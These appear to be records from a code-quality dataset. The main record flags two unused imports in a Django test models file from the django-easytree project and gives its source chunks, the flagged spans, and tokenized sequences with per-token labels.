"\"", "Xbrl", "Public", "DB", ":", " ", "create", " ", "tables", "\"_", ")_", ",_", "time_", "._", "time_", "(_", ")_", "-_", "start", "ed", "At_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "close", "Cursor_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2,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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
fabiocorneti/django-easytree/easytree/tests/models.py
[ { "content": "from django.conf import settings\nfrom django.db import models\nfrom easytree.models import BaseEasyTree\nfrom easytree.managers import EasyTreeManager\nfrom easytree.signals import node_moved\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class TestNode(BaseEasyTree):\n\n title = models.CharField(max_length=60)\n \n objects = EasyTreeManager()\n \n class Meta:\n ordering=('tree_id', 'lft')\n", "metadata": "root.TestNode", "header": "['module', '___EOS___']", "index": 6 }, { "content": " def __unicode__(self):\n return self.title", "metadata": "root.TestNode.__unicode__", "header": "['class', 'TestNode', '(', 'BaseEasyTree', ')', ':', '___EOS___']", "index": 15 } ]
[ { "span": "from django.conf import settings", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 32 }, { "span": "from easytree.signals import node_moved", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 39 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "django_", "._", "conf_", "import_", "settings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "db_", "import_", "models_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "easy", "tree_", "._", "models_", "import_", "Base", "Eas", "y", "Tree_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "easy", "tree_", "._", "managers_", "import_", "Eas", "y", "Tree", "Manager_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "easy", "tree_", "._", "signals_", "import_", "node", "\\u", "moved_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Test", "Node_", "(_", "Base", "Eas", "y", "Tree_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "title_", "=_", "models_", "._", "Char", "Field_", "(_", "max", "\\u", "length_", "=_", "60_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "objects_", "=_", "Eas", "y", "Tree", "Manager_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Meta_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ordering_", "=_", "(_", "'", "tree", "\\u", "id", "'_", ",_", "'", "lft", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Node_", "(_", "Base", "Eas", "y", "Tree_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "unicode\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "title_" ]
[ 4, 4, 4, 4, 4, 2, 2, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]